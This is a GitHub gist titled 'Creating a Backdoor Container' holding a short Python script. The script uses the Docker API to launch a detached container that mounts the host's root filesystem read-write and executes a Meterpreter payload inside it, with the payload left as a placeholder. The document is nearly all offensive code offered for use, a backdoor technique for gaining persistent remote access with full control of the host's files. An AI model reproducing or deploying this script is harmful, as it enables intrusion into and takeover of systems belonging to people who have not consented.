-
-
Save christopherwoodall/8295b0c8b63a61cf6d20bc20e4444dec to your computer and use it in GitHub Desktop.
Creating a Backdoor Container
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import docker | |
client = docker.from_env() | |
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE" | |
cmd = 'python -c "{0}"'.format(payload) | |
volumes = { | |
'/': { | |
'bind': '/host', | |
'mode': 'rw' | |
} | |
} | |
backdoor = client.containers.run('python', volumes = volumes, detach = True, tty = True) | |
print backdoor.exec_run(cmd) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment